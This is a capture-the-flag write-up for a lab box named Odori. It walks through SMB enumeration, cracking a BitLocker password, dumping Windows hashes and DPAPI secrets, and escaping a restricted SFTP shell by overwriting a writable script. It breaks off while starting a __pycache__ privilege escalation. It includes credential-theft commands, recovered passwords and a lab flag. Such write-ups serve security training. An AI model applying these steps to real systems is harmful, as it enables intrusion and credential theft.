# Writeup: Odori

18 min read
Table of Contents

Summary

The box only exposes three ports: an SMB service and SSH. The SMB share accepts anonymous connections, which allows reading a disk backup. The Windows disk is encrypted with BitLocker, but the password is crackable with john. After that the disk can be mounted and decrypted. On the disk a backup script gives the username for SFTP, whose password can be found in DPAPI. Using the local secrets store the DPAPI credentials can be decrypted, which provides a user password. Only SFTP could be used to log in, which provides limited file upload and read. The sshd_config shows the restricted environment script, and this script is writable by our user, so it can be changed into a full shell, giving the user flag. In the /opt folder a backup script can be identified with a __pycache__, and this cache is world writable. From pspy we find that the script is run every minute. In the compiled cache the path can be changed to our own script that sets the setuid bit on bash. Finally the backup helper script can be triggered by writing a file with a tampered timestamp to the target directory, giving a root shell via our modified bash.

Enumeration

First we get an idea of the attack surface we are dealing with, for this we run a nmap against the top ports with service discovery.

Terminal window
$ sudo nmap -sV -sC -T5 -oA ./03_Scans/Service/Services odori.htb
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-22 17:15 +0000
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 17:15 (0:00:12 remaining)
Nmap scan report for odori.htb (10.129.131.29)
Host is up (0.015s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 33:6a:5a:1f:35:95:4f:47:78:f4:5e:81:1b:ac:0e:af (ECDSA)
|_ 256 62:a0:e7:ec:de:21:8d:83:cd:72:cc:7b:fa:9f:7f:15 (ED25519)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: -1s
|_nbstat: NetBIOS name: ODORI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-10-22T17:15:15
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.77 seconds

We see that only the samba ports are exposed next to the default ssh port. From the results we can identify it as a Linux host.

When running nmap again with --script=vuln,vulners we get many results:

Terminal window
$ sudo nmap -sV -sC --script=vuln,vulners -T5 -oA ./03_Scans/Service/Services odori.htb
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-22 17:16 +0000
Nmap scan report for odori.htb (10.129.131.29)
Host is up (0.036s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:8.9p1:
| PACKETSTORM:179290 10.0 https://vulners.com/packetstorm/PACKETSTORM:179290 *EXPLOIT*
| 1EEC8894-D2F7-547C-827C-915BE866875C 10.0 https://vulners.com/githubexploit/1EEC8894-D2F7-547C-827C-915BE866875C *EXPLOIT*
| 09B905C6-CD97-54E6-AD97-B0DD1AC4771B 10.0 https://vulners.com/githubexploit/09B905C6-CD97-54E6-AD97-B0DD1AC4771B *EXPLOIT*
| PACKETSTORM:173661 9.8 https://vulners.com/packetstorm/PACKETSTORM:173661 *EXPLOIT*
| F0979183-AE88-53B4-86CF-3AF0523F3807 9.8 https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807 *EXPLOIT*
| CVE-2023-38408 9.8 https://vulners.com/cve/CVE-2023-38408
| CVE-2023-28531 9.8 https://vulners.com/cve/CVE-2023-28531
[...]

These however seem to be false positives, as the quick PoC we try does not work.

SMB

We enumerate SMB further to see which shares are available.

Terminal window
$ rpcclient -U "" odori.htb
Password for [WORKGROUP\]:
rpcclient $> srvinfo
ODORI Wk Sv PrQ Unx NT SNT odori server (Samba, Ubuntu)
platform_id : 500
os version : 6.1
server type : 0x809a03
rpcclient $> enumdomains
name:[ODORI] idx:[0x0]
name:[Builtin] idx:[0x1]
rpcclient $> netsahreenumall
command not found: netsahreenumall
rpcclient $> netshareenumall
netname: print$
remark: Printer Drivers
path: C:\var\lib\samba\printers
password:
netname: backup
remark: Server Backups
path: C:\backup
password:
netname: IPC$
remark: IPC Service (odori server (Samba, Ubuntu))
path: C:\tmp
password:

There is a readable share backup from which we could extract some interesting information.

To dump all the share’s data we use netexec with spider_plus:

Terminal window
$ nxc smb odori.htb -u "" -p "" -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=./
SMB 10.129.131.29 445 ODORI [*] Unix - Samba (name:ODORI) (domain:ODORI) (signing:False) (SMBv1:False) (Null Auth:True)
SMB 10.129.131.29 445 ODORI [+] ODORI\:
SPIDER_PLUS 10.129.131.29 445 ODORI [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.129.131.29 445 ODORI [*] DOWNLOAD_FLAG: True
SPIDER_PLUS 10.129.131.29 445 ODORI [*] STATS_FLAG: True
SPIDER_PLUS 10.129.131.29 445 ODORI [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.129.131.29 445 ODORI [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.129.131.29 445 ODORI [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.129.131.29 445 ODORI [*] OUTPUT_FOLDER: ./
SMB 10.129.131.29 445 ODORI [*] Enumerated shares
SMB 10.129.131.29 445 ODORI Share Permissions Remark
SMB 10.129.131.29 445 ODORI ----- ----------- ------
SMB 10.129.131.29 445 ODORI print$ Printer Drivers
SMB 10.129.131.29 445 ODORI backup READ Server Backups
SMB 10.129.131.29 445 ODORI IPC$ IPC Service (odori server (Samba, Ubuntu))
SPIDER_PLUS 10.129.131.29 445 ODORI [+] Saved share-file metadata to "./10.129.131.29.json".
SPIDER_PLUS 10.129.131.29 445 ODORI [*] SMB Shares: 3 (print$, backup, IPC$)
SPIDER_PLUS 10.129.131.29 445 ODORI [*] SMB Readable Shares: 1 (backup)
SPIDER_PLUS 10.129.131.29 445 ODORI [*] Total folders found: 0
SPIDER_PLUS 10.129.131.29 445 ODORI [*] Total files found: 1
SPIDER_PLUS 10.129.131.29 445 ODORI [*] File size average: 66 B
SPIDER_PLUS 10.129.131.29 445 ODORI [*] File size min: 66 B
SPIDER_PLUS 10.129.131.29 445 ODORI [*] File size max: 66 B
SPIDER_PLUS 10.129.131.29 445 ODORI [*] File unique exts: 1 (txt)
SPIDER_PLUS 10.129.131.29 445 ODORI [*] Downloads successful: 1
SPIDER_PLUS 10.129.131.29 445 ODORI [+] All files processed successfully.

The backup share only contained a text file info.txt:

info.txt
Please download the .vmdk file linked in the machine description.

The original lab likely contained the disk image itself. But for this retired machine the image could be downloaded from the machine’s description.

Disk image

In total this was a 7zip archive of 18 GB, so we had to wait a bit for it to come in. We can then extract it with 7zip:

Terminal window
$ 7z e odori.7z
7-Zip 26.02 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-06-25
64-bit locale=en_US.UTF-8 Threads:12 OPEN_MAX:4096, ASM
Scanning the drive for archives:
1 file, 19795590292 bytes (19 GiB)
Extracting archive: odori.7z
Enter password (will not be echoed):
--
Path = odori.7z
Type = 7z
Physical Size = 19795590292
Headers Size = 228
Method = LZMA2:25 7zAES
Solid = -
Blocks = 1
31% - file02.vmdk

This gave us a VMware disk image.

With 7z we can also inspect the contents of the vmdk, which reveals Windows disk partitions.

Terminal window
$ 7z l file02.vmdk
[...]
Size Compressed Name
------------ ------------ ------------------------
104857600 104857600 0.EFI system partition.img
16777216 16777216 1.Microsoft reserved partition.img
20800602112 20800602112 2.Basic data partition.img
549453824 549453824 3.ntfs
------------ ------------ ------------------------
21471690752 21471690752 4 files

2.Basic data partition.img looks like the largest partition, but I could not mount it directly.

Terminal window
$ sudo guestmount -a file02.vmdk -m /dev/sda2 --ro ./vmdk-mnt
libguestfs: error: mount_options: mount exited with status 32: mount: /sysroot: wrong fs type, bad option, bad superblock on /dev/sda2, missing codepage or helper program, or other error.
dmesg(1) may have more information after failed mount system call.
guestmount: ‘/dev/sda2’ could not be mounted.

This indicates that it might be BitLocker encrypted.

Using bitlocker2john we were able to identify some hashes:

Terminal window
$ bitlocker2john -i file02.vmdk | tee hash
Encrypted device file02.vmdk opened, size 19122MB
Signature found at 0x330003
Version: 8
Invalid version, looking for a signature with valid version...
Signature found at 0x25c00000
Version: 2 (Windows 7 or later)
VMK entry found at 0x25c000f3
VMK encrypted with Recovery Password found at 0x25c00114
Salt: 0e51a3612966f798a7c1453cc00c17fb
Searching AES-CCM from 0x25c00130
Trying offset 0x25c001c3....
VMK encrypted with AES-CCM!!
RP Nonce: a054f9580964db0107000000
RP MAC: 8f21deeb81c915a00826ec90fc8058ab
RP VMK: 4d3e0fafb11edbc2b692479fc186f348ed9735f1201614b627dc226ec18d718c96a2ac91bea03e84d36e88da
VMK entry found at 0x25c0027f
VMK encrypted with User Password found at 25c002a0
VMK encrypted with AES-CCM
UP Nonce: e0ff381f1d64db010c000000
UP MAC: 5cefbde7d7788cb3dcec4313763d63a0
UP VMK: 283b20ae436e5143bad910d6a944f70314914437ea65feadcef0d03418abb50757302fc9093e321cdee965a5
[...]

After some processing we get the recovered hashes that we can try and crack:

Signature found at 0x4a15aff78
Version: 0
Invalid version, looking for a signature with valid version...
User Password hash:
$bitlocker$0$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$5cefbde7d7788cb3dcec4313763d63a0283b20ae436e5143bad910d6a944f70314914437ea65feadcef0d03418abb50757302fc9093e321cdee965a5
Hash type: User Password with MAC verification (slower solution, no false positives)
$bitlocker$1$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$5cefbde7d7788cb3dcec4313763d63a0283b20ae436e5143bad910d6a944f70314914437ea65feadcef0d03418abb50757302fc9093e321cdee965a5
Hash type: Recovery Password fast attack
$bitlocker$2$16$0e51a3612966f798a7c1453cc00c17fb$1048576$12$a054f9580964db0107000000$60$8f21deeb81c915a00826ec90fc8058ab4d3e0fafb11edbc2b692479fc186f348ed9735f1201614b627dc226ec18d718c96a2ac91bea03e84d36e88da
Hash type: Recovery Password with MAC verification (slower solution, no false positives)
$bitlocker$3$16$0e51a3612966f798a7c1453cc00c17fb$1048576$12$a054f9580964db0107000000$60$8f21deeb81c915a00826ec90fc8058ab4d3e0fafb11edbc2b692479fc186f348ed9735f1201614b627dc226ec18d718c96a2ac91bea03e84d36e88da

We pass these hashes to john with the rockyou.txt word list.

Terminal window
$ john --format=bitlocker hash ~wordlists/rockyou.txt
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Warning: invalid UTF-8 seen reading /usr/share/wordlists//rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Will run 12 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
123456789 (?)
123456789 (?)

Resulting in the password (123456789) which can be used to decrypt the volume.

I was not able to mount the vmdk directly so we first convert it with qemu-img to a raw disk image.

Terminal window
$ qemu-img convert -f vmdk -O raw ./file02.vmdk file02.img

After which we create a loop device so we can interact with it.

Terminal window
$ sudo modprobe loop
$ sudo losetup -fP ./file02.img

We can now see the partitions as block devices on our host:

Terminal window
$ lsblk /dev/loop0
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
loop0 7:0 0 20G 0 loop
├─loop0p1 259:0 0 100M 0 part
├─loop0p2 259:1 0 16M 0 part
├─loop0p3 259:2 0 19.4G 0 part
└─loop0p4 259:3 0 524M 0 part

With cryptsetup we can decrypt the data partition and get a disk mapping. As the password we use 123456789.

Terminal window
$ sudo cryptsetup bitlkOpen /dev/loop0p3 btl_win
Enter passphrase for /dev/loop0p3:

After which we mount the newly created mapping.

Terminal window
$ sudo mount /dev/mapper/btl_win vmdk-mnt
The disk contains an unclean file system (0, 0).
Metadata kept in Windows cache, refused to mount.
Falling back to read-only mount because the NTFS partition is in an
unsafe state. Please resume and shutdown Windows fully (no hibernation
or fast restarting.)
Could not mount read-write, trying read-only

This finally gives us access to the Windows drive.

Terminal window
$ tree -L 1 vmdk-mnt
vmdk-mnt
├── $Recycle.Bin
├── $WinREAgent
├── Config
├── Data
├── 'Documents and Settings' -> /home/kali/Shared/HTB/Odiri/vmdk-mnt/Users
├── DumpStack.log.tmp
├── pagefile.sys
├── PerfLogs
├── ProgramData
├── 'Program Files'
├── 'Program Files (x86)'
├── Recovery
├── Scripts
├── 'System Volume Information'
├── Users
└── Windows

Windows disk pillaging

In Scripts we find a backup script without a password, but it does show us how to connect over SSH.

backup.ps1
Odiri/vmdk-mnt/Scripts $ cat backup.ps1
# Odori Backup Script
<#
# Backup via SFTP
# Install and Import Posh-SSH module if not already installed
# Install-Module -Name Posh-SSH -Force -Scope CurrentUser
$SFTPServer = "odori.vl"
$SFTPPort = 22
$SFTPUser = "svc_backup"
$SFTPPassword = "***"
$SFTPRemoteFolder = "/backup"
try {
$SFTPSession = New-SFTPSession -ComputerName $SFTPServer -Port $SFTPPort -Credential (New-Object PSCredential($SFTPUser, (ConvertTo-SecureString $SFTPPassword -AsPlainText -Force)))
Write-Host "Starting backup via SFTP..."
Set-SFTPItem -SessionId $SFTPSession.SessionId -LocalPath "$SourceFolder\*" -RemotePath $SFTPRemoteFolder -Recurse
Write-Host "Backup via SFTP completed successfully."
Remove-SFTPSession -SessionId $SFTPSession.SessionId
} catch {
Write-Host "Error during SFTP backup: $($_.Exception.Message)"
}
#>
# Backup via SMB
$SourceFolder = "C:\data"
$DestinationFolder = "\\odori.vl\backup"
if (-not (Test-Path -Path $DestinationFolder)) {
New-Item -ItemType Directory -Path $DestinationFolder -Force
}
Write-Host "Starting backup via SMB..."
try {
Copy-Item -Path $SourceFolder\* -Destination $DestinationFolder -Recurse -Force
Write-Host "Backup completed successfully."
} catch {
Write-Host "Error during backup: $($_.Exception.Message)"
}%

In the Administrator’s Downloads we see a PuTTY installer:

Terminal window
$ ls Users/Administrator/Downloads -l
.rwxrwxrwx 282 root 8 Jan 2025 󱁻 desktop.ini
.rwxrwxrwx@ 3.8M root 11 Jan 2025 putty-64bit-0.82-installer.msi

Looking in the registry for passwords:

Terminal window
$ reglookup Users/Administrator/NTUSER.DAT | grep SimonTatham
/Software/SimonTatham,KEY,,2025-01-11 09:32:13
/Software/SimonTatham/PuTTY,KEY,,2025-01-11 11:02:12
/Software/SimonTatham/PuTTY/Jumplist,KEY,,2025-01-11 13:24:01
/Software/SimonTatham/PuTTY/Jumplist/Recent sessions,MULTI_SZ,,
/Software/SimonTatham/PuTTY/Sessions,KEY,,2025-01-11 13:24:01
/Software/SimonTatham/PuTTY/SshHostKeys,KEY,,2025-01-11 11:02:12
/Software/SimonTatham/PuTTY/SshHostKeys/ssh-ed25519@22:odori.vl,SZ,0x5fb2f0d6500478d7f92d95d4b0f753051522f7ae11cca6a8db5c0bc3740312d6%2C0x554893fc3229e1ed6b9070f25d5492c3cf0ed527b373f40fc6af507b11e1fd9f,

This only yields the server’s public key.

We try to dump the registry hives for crackable passwords:

Terminal window
$ secretsdump.py LOCAL -system SYSTEM -sam SAM -security SECURITY > secdump
Terminal window
$ cat ~/Shared/HTB/Odiri/secdump
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xed44fa9df4c6a93d1ebe33bff5083393
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b56b03d0393ad23e2a893f1c754b0719:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:63d7c1f6a1a8378eba2ee87246bf7140:::
svc_backup:1000:aad3b435b51404eeaad3b435b51404ee:be3071bd4cce75e2bbd3c79c7ec5380e:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM
dpapi_machinekey:0xb7db177e591e961acac578175c1139626e36b40b
dpapi_userkey:0xe72f58588ec7fe6a0733db679d91fee53a3a1896
[*] NL$KM
0000 E1 18 0C E9 50 D9 C9 D9 98 05 1A 78 D3 75 6F D7 ....P......x.uo.
0010 90 18 8F 7E E4 78 44 64 EF BA 43 E6 24 78 60 47 ...~.xDd..C.$x`G
0020 79 1E A8 B2 BC 1C 51 8B E2 21 4D 7E 25 7F 39 75 y.....Q..!M~%.9u
0030 77 9F 39 E0 D3 C8 78 72 A9 88 6E 05 A2 42 1B 7F w.9...xr..n..B..
NL$KM:e1180ce950d9c9d998051a78d3756fd790188f7ee4784464efba43e624786047791ea8b2bc1c518be2214d7e257f3975779f39e0d3c87872a9886e05a2421b7f
[*] Cleaning up...

Trying to crack these does not give any results:

Terminal window
$ hashcat -m 1000 -a 0 hashes ~wordlists/rockyou.txt
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1000 (NTLM)
Hash.Target......: hashes
Time.Started.....: Thu Oct 22 19:44:24 2026 (1 sec)
Time.Estimated...: Thu Oct 22 19:44:25 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists//rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 13088.5 kH/s (0.15ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/4 (25.00%) Digests (total), 0/4 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !carolyn -> $HEX[042a0337c2a156616d6f732103]
Started: Thu Oct 22 19:44:24 2026

When we grep for putty we see the following in the search history:

"System.ConnectedSearch.JumpList":{"Value":"[{\"Type\":0,\"Items\":[{\"Type\":1,\"Name\":\"odori.pub\",\"Path\":\"C:\\\\Config\\\\odori.pub\",\"Description\":\"odori (C:\\\\Config)\",\"Date\":\"2025-1-11\",\"Points\":2},{\"Type\":1,\"Name\":\"odori.ppk\",\"Path\":\"C:\\\\Config\\\\odori.ppk\",\"Description\":\"odori (C:\\\\Config)\",\"Date\":\"2025-1-11\",\"Points\":1},{\"Type\":1,\"Name\":\"flag.txt\",\"Path\":\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\flag.txt\",\"Description\":\"flag (C:\\\\Users\\\\Administrator\\\\Desktop)\",\"Date\":\"2025-1-11\",\"Points\":1}]}]","Type":12}

Which is interesting, however when we inspect the folders they seem empty.

Scripts/backup.ps1:$SFTPUser = "svc_backup"
Windows/debug/PASSWD.LOG:01/11 05:27:40 Attempting password change server/domain FILE02 for user svc_backup
Windows/System32/Tasks/backup_data: <UserId>FILE02\svc_backup</UserId>

We try to extract the credentials from DPAPI:

Terminal window
$ impacket-dpapi credential -file FB28D44A1080F4C10BF3530DD6D7B9E1
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[BLOB]
Version : 1 (1)
Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB
MasterKeyVersion : 1 (1)
Guid MasterKey : BB3025A7-E7D7-405E-BB83-13113F771DEB
Flags : 20000000 (CRYPTPROTECT_SYSTEM)
Description : Local Credential Data
CryptAlgo : 00006610 (26128) (CALG_AES_256)
Salt : b'888fb43425c5b7e990ecc0b259db546484a2ce73737a95a9bb364b48c105897a'
HMacKey : b''
HashAlgo : 0000800e (32782) (CALG_SHA_512)
HMac : b'5d377d616e5977e003946f49d5c146e1b7f6ff3a44da7101128df3f146ac9996'
Data : b'c50064de4238e5d7ed3fbc5470a5484249e39495136d0359da6e3381e1f81915f9ba6636de52a6c999cf8f5cd87e265e854e17ca1ffb7bcc055fa4a4d1ad28d1d8c49ffcc483614ca9d5d2258ea559d7e73e474e99df1f57c15eb5e7121938ceffad0e9ff0ccc4e9fdd4ac1d62f8dbd9f432ecf33272d68a1071ad9aa29e8baa6e1976258393fd14bfb3a212430c2756d711cffc5d0ca0b91cf0e48d2b878abc0b6b065b89f0c7fe3c5f957fe1ac78dc4fa3ca4fd062fd097594b0ee0bd0316d62c01d1163aaf7af0ad5e9556d377e4cf97be9f14c9245e9383ff45131b534caaef9249ad20d4494d41bcf0970a6f6c0db328a6a787d1a852bd535a7eb05fbd864db886c28cf7a248138e5cecd398a033ae146d196e657860343668df8be8f37'
Sign : b'f4d4e00a3cf4caf35c57a3c31b8fa0c084e8eb9f4dfabbaf9405bad7218decea2c387d8f8b9b3dc3937592f0013bece7a74f6a756bce178c43ae6950e15a8671'
Cannot decrypt (specify -key or -sid whenever applicable)

We find the GUID BB3025A7-E7D7-405E-BB83-13113F771DEB. In Windows/System32/Microsoft/Protect/S-1-5-18/User we find the master key, which we can decrypt using the dumped SYSTEM and SECURITY hives:

Terminal window
$ impacket-dpapi masterkey -file bb3025a7-e7d7-405e-bb83-13113f771deb -system ~/Shared/HTB/Odiri/SYSTEM -security ~/Shared/HTB/Odiri/SECURITY
[*] Target system bootKey: 0xed44fa9df4c6a93d1ebe33bff5083393
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM
[*] NL$KM
Decrypted key with UserKey
Decrypted key: 0xcf24245f66aefb9ec1e5c28e9d2a326308cbf8c7cc610e0913566e01019fb6ee29dd7978c14d9f408e49743340aa634db7823c97a9fee8c2804868d08101865c

With this key we can get the credentials:

Terminal window
$ impacket-dpapi credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key 0xcf24245f66aefb9ec1e5c28e9d2a326308cbf8c7cc610e0913566e01019fb6ee29dd7978c14d9f408e49743340aa634db7823c97a9fee8c2804868d08101865c
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
KeyWord : Microsoft_WindowsLive:authstate:0
Data :
0000 01 00 00 00 D0 8C 9D DF 01 15 D1 11 8C 7A 00 C0 .............z..
0010 4F C2 97 EB 01 00 00 00 A7 25 30 BB D7 E7 5E 40 O........%0...^@
0020 BB 83 13 11 3F 77 1D EB 00 00 00 00 02 00 00 00 ....?w..........
0030 00 00 10 66 00 00 00 01 00 00 20 00 00 00 B2 AE ...f...... .....
0040 C7 59 1F 5A D4 D7 E0 83 EE BD 50 16 20 86 0F C9 .Y.Z......P. ...
0050 4A 93 C9 F9 DB 00 D4 68 3F BA 49 EA FB 1C 00 00 J......h?.I.....
0060 00 00 0E 80 00 00 00 02 00 00 20 00 00 00 51 AD .......... ...Q.
0070 6A 57 26 10 C4 47 D6 36 AF 7D C0 57 15 1D 63 8B jW&..G.6.}.W..c.
0080 0E 6B FB A9 27 63 3B ED 6B 64 69 0C 65 2F 80 1E .k..'c;.kdi.e/..
0090 00 00 09 9A 90 C5 26 76 F0 37 BB F6 3D A8 4B 92 ......&v.7..=.K.
00a0 CE AD 08 6D 12 58 9C BD 3F 13 2B 41 F1 2D 03 E6 ...m.X..?.+A.-..
00b0 2A DC 36 78 55 3E 15 A1 DB FF E6 A6 43 0D 7B 30 *.6xU>......C.{0
00c0 A7 ED 03 BB EC 95 B3 1A 49 D0 A7 47 CB 11 2A 4A ........I..G..*J
00d0 37 0C C3 5C 48 DF A6 4E 2D 50 03 B0 0E 68 3E 0F 7..\H..N-P...h>.
00e0 9F 26 BA 21 E3 27 B5 19 D0 BC B2 F4 BF 27 01 76 .&.!.'.......'.v
00f0 81 AD 54 90 E8 CA 39 76 99 0D 2D 38 05 EC 0C 2E ..T...9v..-8....
KeyWord : Microsoft_WindowsLive:authstate:1
[...]

The first one does not seem too interesting.

Terminal window
$ impacket-dpapi credential -file FB28D44A1080F4C10BF3530DD6D7B9E1 -key 0xcf
24245f66aefb9ec1e5c28e9d2a326308cbf8c7cc610e0913566e01019fb6ee29dd7978c14d9f408e49743340aa634db7823c97a9fee8c280486
8d08101865c
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-01-11 13:27:40+00:00
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8}
Description :
Unknown :
Username : FILE02\svc_backup
Unknown : Napping2Curator

Foothold

We seem to be able to authenticate.

Terminal window
$ ssh svc_backup@odori.htb
The authenticity of host 'odori.htb (10.129.131.29)' can't be established.
ED25519 key fingerprint is: SHA256:mIGaInSzVAyqGLwJxqKASYEfFsomls34P/H0XmYb2Lk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'odori.htb' (ED25519) to the list of known hosts.
svc_backup@odori.htb's password:
[hangs]

But it gets stuck. The script did use SFTP so it might only be possible to use that.

Terminal window
$ sftp svc_backup@odori.htb
svc_backup@odori.htb's password:
Connected to odori.htb.
sftp> ls
user.txt

That does work!

We can download the user flag now:

Terminal window
sftp> get user.txt
Fetching /home/svc_backup/user.txt to user.txt
user.txt
Terminal window
$ cat user.txt
8c1dc48b009071afb9c42268316f9c78

Privilege Escalation

Time for the priv esc, or maybe we first need to get a full shell.

We inspect the /etc/ssh/sshd_config to see what sets our shell. We get it locally and inspect it.

sshd_config
$ cat sshd_config
[...]
Match group svc_backup
#ChrootDirectory /backup
ForceCommand /opt/restrict /home/%u
AllowTcpForwarding no

For this /opt/restrict is used. This is a bash script:

restrict
$ cat restrict
#!/bin/bash
/usr/lib/openssh/sftp-server -d $1

If we inspect the owner of the file we can see that we are the owner of it:

Terminal window
sftp> ls -al /opt
drwxr-xr-x 3 root root 4096 Apr 24 11:59 .
drwxr-xr-x 21 root root 4096 Apr 24 11:59 ..
drwxr-xr-x 3 root root 4096 Apr 24 11:59 archiver
-rwxrwxr-x 1 svc_backup root 48 Jan 11 2025 restrict

This means we can overwrite it with our own copy.

We change it to:

restrict
#!/bin/bash
/bin/bash
/usr/lib/openssh/sftp-server -d $1

After which we upload it back to the server:

Terminal window
sftp> put restrict
Uploading restrict to /opt/restrict
restrict

If we now log in we get our shell!

Terminal window
$ ssh svc_backup@odori.htb
svc_backup@odori.htb's password:
svc_backup@odori:~$ id
uid=1001(svc_backup) gid=1001(svc_backup) groups=1001(svc_backup)

We run linpeas and find many kernel exploits.

Terminal window
$ ./linpeas.sh
[...]
╔══════════╣ Kernel Exploit Registry (T1068)
═╣ Operating system ............. Linux
═╣ Kernel release ............... 5.15.0-177-generic
═╣ Comparable version ........... 5.15.0.177
═╣ Data chunk limit ............. max 25 rows per KERNEL_CVE_DATA_* variable (1..23)
═╣ Kernel config source ......... /boot/config-5.15.0-177-generic
CVE: CVE-2022-0847 | Name: DirtyPipe | Match data: pkg=linux-kernel,ver>=5.8,ver<=5.16.11 | Tags: ubuntu=(20.04|21.04),debian=11 | Rank: 1
CVE: CVE-2022-0995 | Name: watch_queue | Match data: pkg=linux-kernel,ver>=5.8,ver<5.16.5,x86_64 | Tags: ubuntu=21.10{kernel:5.13.0.37-generic} | Rank: 1 | Details: Not 100% reliable, may need to be run a couple of times. It rare cases it may panic the kernel.
╔══════════╣ Checking for Dirty Frag (CVE-2026-43284 / CVE-2026-43500) (T1068)
╚ https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available
╚ https://www.cve.org/CVERecord?id=CVE-2026-43284
╚ https://www.cve.org/CVERecord?id=CVE-2026-43500
CVE-2026-43284 (xfrm-ESP): autoloadable: esp4 esp6 xfrm_user ipcomp6
CVE-2026-43500 (rxrpc): autoloadable: rxrpc

None of these seem to work.

Enumerating the filesystem further we find something in /opt/archiver. Here app.py checks if a file is old enough to be archived:

app.py
$ cat app.py
import os
from datetime import datetime, timedelta
from helper import tar_and_move_files
backup_dir = '/backup'
archive_dir = '/archive'
threshold_date = datetime.now() - timedelta(days=3*365)
def scan_and_archive_files():
if not os.path.exists(archive_dir):
os.makedirs(archive_dir)
for root, dirs, files in os.walk(backup_dir):
for file in files:
file_path = os.path.join(root, file)
file_mod_time = datetime.fromtimestamp(os.path.getmtime(file_path))
if file_mod_time < threshold_date:
print(f'Moving {file_path} to archive...')
tar_and_move_files(file_path, archive_dir)
else:
print(f'{file_path} is not old enough to archive.')
if __name__ == '__main__':
scan_and_archive_files()

The helper then runs the tar command:

helper.py
$ cat helper.py
import os
import subprocess
from datetime import datetime
def tar_and_move_files(file_path, archive_dir):
current_date = datetime.now().strftime('%Y-%m-%d')
tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz')
subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)])
os.remove(file_path)

What is also interesting is that we have world-writable access to __pycache__:

Terminal window
$ ls -al
total 20
drwxr-xr-x 3 root root 4096 Apr 24 11:59 .
drwxr-xr-x 3 root root 4096 Apr 24 11:59 ..
-rw-r--r-- 1 root root 812 Jan 11 2025 app.py
-rw-r--r-- 1 root root 412 Jan 16 2025 helper.py
drwxr-xrwx 2 root root 4096 Apr 24 11:59 __pycache__

